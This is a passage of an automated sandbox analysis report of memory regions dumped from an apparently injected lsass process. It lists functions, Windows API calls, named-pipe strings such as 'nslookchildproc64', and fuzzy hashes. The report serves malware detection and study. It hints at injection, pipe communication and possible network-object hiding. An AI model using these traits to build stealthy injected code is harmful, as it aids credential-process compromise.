\Device\Nsi, xrefs: 00000240B2BB34AC

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: FileName$HandleModule$CloseFindOpenPathProcesslstrcmplstrcmpilstrcpylstrlen$AddressProc
String ID: NtQueryObject$\Device\Nsi$nslook$ntdll.dll
API String ID: 3769777229-563693742
Opcode ID: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction ID: 957cbcf540196e97f36ae8f4c2b067a49a7b491543009e4450804e1a4775df9b
Opcode Fuzzy Hash: 496234189980b66b35517f7b6b95b357656e0bd266c31318b27ed9856b3f4fb1
Instruction Fuzzy Hash: 55F19D7670569086EB648F16E88CBA973A4F78CB88F45402ADF4A4B784DF38D884C749

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB2630 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 195
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000240B2BB2741
GetFinalPathNameByHandleW.KERNEL32 ref: 00000240B2BB2769
lstrlenW.KERNEL32 ref: 00000240B2BB2799
lstrcpyW.KERNEL32 ref: 00000240B2BB27B3

Strings

\\?\, xrefs: 00000240B2BB2779
nslook, xrefs: 00000240B2BB280D
\\.\pipe\, xrefs: 00000240B2BB274C, 00000240B2BB2837

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: FileFinalHandleNamePathTypelstrcpylstrlen
String ID: \\.\pipe\$\\?\$nslook
API String ID: 2439355722-1812639415
Opcode ID: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction ID: 6ff4464cc617da9bf3d74b1ba0b0a4967fa998d0100f28d241e82ef3fca12e61
Opcode Fuzzy Hash: 9e899848ac98aaae3b00dc27d34a77e62faabf36e755eb9f180771f864e619b8
Instruction Fuzzy Hash: 029164262047C485EB749F11E8DCBAA77A0F78DB88F444019DF894BB99DF38D586CB08

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB24F0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 76
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000240B2BB2512
GetCurrentProcessId.KERNEL32 ref: 00000240B2BB251A
OpenProcess.KERNEL32 ref: 00000240B2BB253E
IsWow64Process.KERNEL32 ref: 00000240B2BB2558
CloseHandle.KERNEL32 ref: 00000240B2BB2576
CreateFileW.KERNEL32 ref: 00000240B2BB25AD
WriteFile.KERNEL32 ref: 00000240B2BB25D2
ReadFile.KERNEL32 ref: 00000240B2BB25EE
CloseHandle.KERNEL32 ref: 00000240B2BB25F7

Strings

\\.\pipe\nslookchildproc64, xrefs: 00000240B2BB257C
\\.\pipe\nslookchildproc32, xrefs: 00000240B2BB258F

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\nslookchildproc32$\\.\pipe\nslookchildproc64
API String ID: 2171963597-3427204187
Opcode ID: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction ID: 3b47049c092ea82d01c2fdadaf86b792e8e4f0a42d6ff81b3fe22daa87d5e0fd
Opcode Fuzzy Hash: b5ec5d932adaaccfcfd4fa9355584f9921bfd3a42b27b8747176e760f82e137a
Instruction Fuzzy Hash: 12310B26204A4086EB249F25F49CB5A77B4F78DBA9F4401299F9D0BB58DF3DC5898B04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB86EC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000240B2BB8714
__scrt_acquire_startup_lock.LIBCMT ref: 00000240B2BB8766
_RTC_Initialize.LIBCMT ref: 00000240B2BB8794
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000240B2BB87BA
__scrt_release_startup_lock.LIBCMT ref: 00000240B2BB87E5
__scrt_fastfail.LIBCMT ref: 00000240B2BB884B

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction ID: 58aff0be08f7dc76270194fecfa1a5bddf324a8db837ccbc2bfa305193924b24
Opcode Fuzzy Hash: b9fba9ebf33b7b9b553ca47caecb391e479f2e9c425bbd4e168cab60532678ed
Instruction Fuzzy Hash: 01811621A0464586FF54AB66A8CDF9922A0FB8D78CF54892D9B484F796DF38C8C1870C

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2B87AEC Relevance: 15.2, APIs: 10, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000240B2B87B14
__scrt_acquire_startup_lock.LIBCMT ref: 00000240B2B87B66
_RTC_Initialize.LIBCMT ref: 00000240B2B87B94
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000240B2B87BBA
__scrt_release_startup_lock.LIBCMT ref: 00000240B2B87BE5
__scrt_fastfail.LIBCMT ref: 00000240B2B87C4B

Memory Dump Source

Source File: 0000002C.00000002.510307520.00000240B2B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2B80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2b80000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_fastfail__scrt_release_startup_lock
String ID:
API String ID: 2904100720-0
Opcode ID: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction ID: 8b597d54eb5fc7d6e9b64eca6af6811637a8f7bd36bf8a37e83b1fc64afd121b
Opcode Fuzzy Hash: 6b35b8212f2284779f27ca5c5da834cb643104800c9213282adef094c912fac4
Instruction Fuzzy Hash: EA81CF6661464587FA50AB6998CDFA96399F78E78CF08441DDB0C4F3D6EE3CC8C1A708

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB3C30 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 221
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNEL32 ref: 00000240B2BB3D01
lstrcmpW.KERNEL32 ref: 00000240B2BB3D09
lstrcmpW.KERNEL32 ref: 00000240B2BB3D59
lstrcmpiW.KERNEL32 ref: 00000240B2BB3D51

Part of subcall function 00000240B2BBA610: _invalid_parameter_noinfo.LIBCMT ref: 00000240B2BBA62D

lstrcmpiW.KERNEL32 ref: 00000240B2BB3E51
lstrcmpW.KERNEL32 ref: 00000240B2BB3E59
lstrcmpiW.KERNEL32 ref: 00000240B2BB3EA1
lstrcmpW.KERNEL32 ref: 00000240B2BB3EA9

Strings

nslook, xrefs: 00000240B2BB3C90, 00000240B2BB3CB3, 00000240B2BB3DE7, 00000240B2BB3E0A

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: lstrcmplstrcmpi$_invalid_parameter_noinfo
String ID: nslook
API String ID: 125796670-925916808
Opcode ID: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction ID: 84f0738f36f0818e0b7d6e5e431691e48fe11b0d06a16fffce8992d4a7ebc084
Opcode Fuzzy Hash: e4eebad3085524bd7cc81e0496f3330c115c18a0ef6aff813f55017ca675ca3a
Instruction Fuzzy Hash: 9D81A97A301A5496EB588F26E5DCB2973A0F748B88F05402EDB0A4FA94DF35D4D5C31A

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB11C0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000240B2BB1220
RegEnumValueW.ADVAPI32 ref: 00000240B2BB12AD
lstrcmpiW.KERNEL32 ref: 00000240B2BB12F6
lstrcmpW.KERNEL32 ref: 00000240B2BB12FE
lstrlenW.KERNEL32 ref: 00000240B2BB1363
lstrcpyW.KERNEL32 ref: 00000240B2BB139E

Strings

d, xrefs: 00000240B2BB1275

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: EnumInfoQueryValuelstrcmplstrcmpilstrcpylstrlen
String ID: d
API String ID: 760382566-2564639436
Opcode ID: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction ID: 8ea77a832d00c1cd5c760fd4ffaa9f7b66c4af0d407b711541f64af49faac976
Opcode Fuzzy Hash: 58b6d380fd7a19ccaffb75ac57d677b01951afe1390cb8a1d5f168405babf2dd
Instruction Fuzzy Hash: 96516D72214B8097EB64DB11F99CB9EB3A4F78DB88F044429DB994BB54DF38D1A1CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB44F0 Relevance: 10.6, APIs: 7, Instructions: 125
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 00000240B2BB451E
GetCurrentProcess.KERNEL32 ref: 00000240B2BB452C
VirtualProtectEx.KERNEL32 ref: 00000240B2BB454E
GetCurrentProcess.KERNEL32 ref: 00000240B2BB456F
VirtualProtectEx.KERNEL32 ref: 00000240B2BB4590
TerminateThread.KERNEL32 ref: 00000240B2BB45A9
GetCurrentThread.KERNEL32 ref: 00000240B2BB45D3

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Current$ProcessProtectThreadVirtual$HandleModuleTerminate
String ID:
API String ID: 23076575-0
Opcode ID: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction ID: ba0114cf4e94f0fd01f91b147343ee2320e116306217b9bdfacf3d88b846a27b
Opcode Fuzzy Hash: 5580002a2b36d1ec19da4d38e3baa73b2c19332edb1061c5b354992008b38483
Instruction Fuzzy Hash: 0561F725625B4581EE95DF15F4DCB9923A0FB4C788F44142DAB8E0B7A5EF38C588C708

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBA140 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00000240B2BBA1C3
GetLastError.KERNEL32 ref: 00000240B2BBA1D1
LoadLibraryExW.KERNEL32 ref: 00000240B2BBA1FB
FreeLibrary.KERNEL32 ref: 00000240B2BBA241
GetProcAddress.KERNEL32 ref: 00000240B2BBA24D

Strings

api-ms-, xrefs: 00000240B2BBA1E3

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction ID: 407aae76d2b6a61b93dc32e7542d18c9b53626ef23f20a96690c7a35e9ef659a
Opcode Fuzzy Hash: 76b065093d340fa5aa374eaa269705a9f04a9f25d7b6574202371576915819bd
Instruction Fuzzy Hash: 7D31D521B12B4095EE569B06A88CF9963A4F75CFACF69452DDF690F791EF38C0C48308

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB2E38 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 75stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 00000240B2BB2E95
lstrcpyW.KERNEL32 ref: 00000240B2BB2EAA
lstrcatW.KERNEL32 ref: 00000240B2BB2EB7
lstrcmpiW.KERNEL32 ref: 00000240B2BB2F03

Part of subcall function 00000240B2BBA610: _invalid_parameter_noinfo.LIBCMT ref: 00000240B2BBA62D

Strings

nslook, xrefs: 00000240B2BB2E5C
\\.\pipe\, xrefs: 00000240B2BB2E84

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction ID: dc7c7a4027ceea7bb38ae882a01c016e8a7f67472f317638fc2dfd4d9a14736c
Opcode Fuzzy Hash: 71d271135564fef6ce2879b451260b98d48cbe5236b6da59abfcb7c1adabd234
Instruction Fuzzy Hash: 9B319A663006418AEB288B26D4DCBA97772FB4CB8CF444019CF0A4F798DF38C986C308

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB27E9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 00000240B2BB2846
lstrcpyW.KERNEL32 ref: 00000240B2BB285D
lstrcatW.KERNEL32 ref: 00000240B2BB286E
lstrcmpiW.KERNEL32 ref: 00000240B2BB28C9

Part of subcall function 00000240B2BBA610: _invalid_parameter_noinfo.LIBCMT ref: 00000240B2BBA62D

Strings

nslook, xrefs: 00000240B2BB280D
\\.\pipe\, xrefs: 00000240B2BB2837

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: lstrcmpi$_invalid_parameter_noinfolstrcatlstrcpy
String ID: \\.\pipe\$nslook
API String ID: 1773417096-2374292202
Opcode ID: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction ID: 5f8c6942e31cdb37ffa6b4ea8b13cf0e1180d39b96592aa9b2b145ae0690042f
Opcode Fuzzy Hash: a4f58ddb0ec7a1ac9b520ccabc6490d736c06cf39181273cdad02b7e49ae0e4c
Instruction Fuzzy Hash: 46317E2660468492EF64AF25E8DCBA97360FB4CB88F44401DCF4A4B694DF38D58AC709

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BC295C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000240B2BC298D
GetLastError.KERNEL32 ref: 00000240B2BC2999
CloseHandle.KERNEL32 ref: 00000240B2BC29B1
CreateFileW.KERNEL32 ref: 00000240B2BC29DC
WriteConsoleW.KERNEL32 ref: 00000240B2BC29FB

Strings

CONOUT$, xrefs: 00000240B2BC29BD

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction ID: 1400b188e2c8f9f5262fabc8ca190b0768661122814c56924e9a44837d3d1f75
Opcode Fuzzy Hash: 27f30534f6eca3e4b76c3b3a5b2f55ab59f44af5952072018eae61c579aa4f13
Instruction Fuzzy Hash: CE118F22310B4086E7548B56F88CB1976B0F78CFF8F144229EB5E8B7A4CF78C9948748

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB19F0 Relevance: 10.3, APIs: 8, Instructions: 286stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32 ref: 00000240B2BB1A84
lstrcmpiW.KERNEL32 ref: 00000240B2BB1B5C

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction ID: f2faaf32269abfe26da97f746682e8ac56b654f183422956acc082096e212c60
Opcode Fuzzy Hash: ce154f4429541e23164c92ae9c75826ca88459982102bc68580caac79a690ae3
Instruction Fuzzy Hash: D0C13A36722A4486EBA4CF1AD1CCB2973A1F39CB98F598419CB194B790DF35D8D1C708

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB6A40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000240B2BB6A7B
GetThreadContext.KERNEL32 ref: 00000240B2BB6BE5

Part of subcall function 00000240B2BB6870: GetCurrentThreadId.KERNEL32 ref: 00000240B2BB6874

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction ID: 08fefa85f01c6c7c64e24bee5712529b4d4b352143ab9c5101c22843d6c8b675
Opcode Fuzzy Hash: 112745dca1d9940aee9ba0f7cc7e8e0e80d3374185eaee056ac988d214650fbc
Instruction Fuzzy Hash: 2FD16A76209B8885DA709B16E4DC75AB7B0F3CCB88F54411AEB8D4BBA5DF38C591CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BBACFC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000240B2BBAD18
GetProcAddress.KERNEL32 ref: 00000240B2BBAD2E
FreeLibrary.KERNEL32 ref: 00000240B2BBAD4B

Strings

mscoree.dll, xrefs: 00000240B2BBAD0F
CorExitProcess, xrefs: 00000240B2BBAD27

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction ID: ba5e4b32bd0f995bd507b5271cf72f3e1503205cba38542ec332761640530dba
Opcode Fuzzy Hash: c0888126ef0aec4d50884ac5792c080854fdb6b5603553d00752df973eadfd71
Instruction Fuzzy Hash: 7EF03061721A4082FF589B60E8DDBA92374EB8CB59F44241EEB4B4E665DF3CC5C8C718

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB5FE0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000240B2BB6066

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction ID: 441f54a0eb2e66258e734fd0b5d0d80732c2ac0c53cdc1db346244779bd950fd
Opcode Fuzzy Hash: a5677a038b55d8d76fe810e20bdc73de9dbac67e160872f0c0df855017d297c9
Instruction Fuzzy Hash: 0002CC32519B8486EB60CB55E49C75AB7B0F3C8798F105019EB8E87BA9DF7DC894CB04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BC194C Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000240B2BC198D
GetConsoleMode.KERNEL32 ref: 00000240B2BC1A4C
GetLastError.KERNEL32 ref: 00000240B2BC1ACC

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction ID: 5d846ac24dcb18f50906e3af5791fd1b77f6ba8a42add3e75f8a9824043836c5
Opcode Fuzzy Hash: eca7fc05c2f44761dbcadaf0bbc50f34caa22c00f8231d2c3b604388e5753dc9
Instruction Fuzzy Hash: 93818E22620A1489FB14DB65D8DCBAD27A0F74CB9CF44421AEF5A6B795DF3484C2C728

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BB6620 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000240B2BB6636

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction ID: e232bb0fb573ffeb00f639744c2c1219f4c50d6209540319722f44bb60852fb6
Opcode Fuzzy Hash: e3fcfa5ac0ebfbde2ff02e9ac01ebc0fc7258c68d43b414eb0961e0bb892ddad
Instruction Fuzzy Hash: 8C616B76519A4486E6608B16E49CB5AB7A0F38C788F10511EEB8E4BBA4DF78C990CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BC2C78 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000240B2BC2CA0
_set_statfp.LIBCMT ref: 00000240B2BC2CBB
_set_statfp.LIBCMT ref: 00000240B2BC2CD7
_set_statfp.LIBCMT ref: 00000240B2BC2D13

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 0d8a3b26d4a35de414f976303527f907e7ef6524ff95a158df72a7caff83e744
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 6711CC23A54A4541F758112CE8DEB663140EBEC37CF94462DAF7B5E7EA8E3988C1820D

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2B92078 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000240B2B920A0
_set_statfp.LIBCMT ref: 00000240B2B920BB
_set_statfp.LIBCMT ref: 00000240B2B920D7
_set_statfp.LIBCMT ref: 00000240B2B92113

Memory Dump Source

Source File: 0000002C.00000002.510307520.00000240B2B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2B80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2b80000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction ID: ee0cc1c35b284aaa0ba4e07b8d95da65153a3a9668daaabd7a50fddbc6349172
Opcode Fuzzy Hash: 7c8cf4f4356880d358edfb0bdf00968b5fd6df14598648be04d9af7c821d71cb
Instruction Fuzzy Hash: A911A322E54A5002F66C1129E4DEBA53440EB5E37CF55462CEF661F3DA8E3D88C19608

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2B8DD54 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 175COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000240B2B8DE25

Strings

Oct, xrefs: 00000240B2B8DDF5
January, xrefs: 00000240B2B8DF00
Dec, xrefs: 00000240B2B8DEF1

Memory Dump Source

Source File: 0000002C.00000002.510307520.00000240B2B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2B80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2b80000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Dec$January$Oct
API String ID: 3215553584-2670745533
Opcode ID: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction ID: bdcf7830062aea700f3d490ffa9ef70f763b8d5f97e30f8f28fa71962fd0312d
Opcode Fuzzy Hash: 5e3f35654ae946a199acd0dab1e3d24a2855035388db7b56c0256662182ab222
Instruction Fuzzy Hash: 8561B23260064682FE659B35A4DCB6E66A9F79D78DF14041EDB0E0F7A5DF34C8C19328

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2B89A10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000240B2B89A2D
_invalid_parameter_noinfo.LIBCMT ref: 00000240B2B89A8E

Strings

r-dialogbox-l1-1-0, xrefs: 00000240B2B89AE5

Memory Dump Source

Source File: 0000002C.00000002.510307520.00000240B2B80000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2B80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2b80000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: r-dialogbox-l1-1-0
API String ID: 3215553584-4250323851
Opcode ID: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction ID: 4649f9f997514f323207ffa1495ee601424e6e680e8526c3ad753c4b7871cd35
Opcode Fuzzy Hash: 0c2568eed714bf13032a55bd6b1163a073a3bffa3452c1d7e2ab8017899a9a63
Instruction Fuzzy Hash: B341F462600B8081EF259B1194CDB7A76A8E75DBECF584219EBAD4F7D6CE38C5C1C708

Uniqueness

Uniqueness Score: -1.00%

Function 00000240B2BC16F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000240B2BC1807
GetLastError.KERNEL32 ref: 00000240B2BC1829

Strings

U, xrefs: 00000240B2BC17B3

Memory Dump Source

Source File: 0000002C.00000002.510527443.00000240B2BB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000240B2BB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_240b2bb0000_lsass.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
Instruction ID: e85f71a24581bc7d95ca82bba9955af0ee3ae7c2ba14e39ae76acde947c1c790
Opcode Fuzzy Hash: bc4894b8380f827de51b153ff8dcd6fe6eccf43ce17c5514f992378ed3d9d4cf
